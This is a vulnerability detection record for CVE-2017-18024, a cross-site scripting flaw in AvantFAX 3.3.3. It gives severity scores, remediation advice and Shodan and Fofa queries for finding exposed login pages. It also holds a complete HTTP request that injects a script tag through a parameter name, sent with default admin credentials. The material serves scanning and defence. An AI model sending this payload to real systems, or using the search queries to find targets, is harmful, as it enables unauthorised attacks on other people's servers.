| Title | AvantFAX 3.3.3 - Cross-Site Scripting |
|---|---|
| Author | pikpikcu |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Upgrade to a patched version of AvantFAX or apply the necessary security patches to mitigate the XSS vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.07772 |
| CVE ID | CVE-2017-18024 |
| CWE ID | CWE-79 |
| Shodan Query | http.title:"avantfax - login" |
| Fofa Query | title="avantfax - login" |
| Tags | cve cve2017 avantfax hackerone packetstorm xss vuln |
AvantFAX 3.3.3 contains a cross-site scripting vulnerability via an arbitrary parameter name submitted to the default URL, as demonstrated by a parameter whose name contains a SCRIPT element and whose value is 1.
POST / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0.1 Safari/605.1.15
Connection: close
Content-Length: 111
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
username=admin&password=admin&_submit_check=1&jlbqg<script>alert("38FfJfZKCX1h7GfCfoAWtRsurvp")</script>b7g0x=1
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2017/CVE-2017-18024.yaml
🦈 Packet Capture: ⬇️ Download cve-2017-18024.pcap
N/AN/A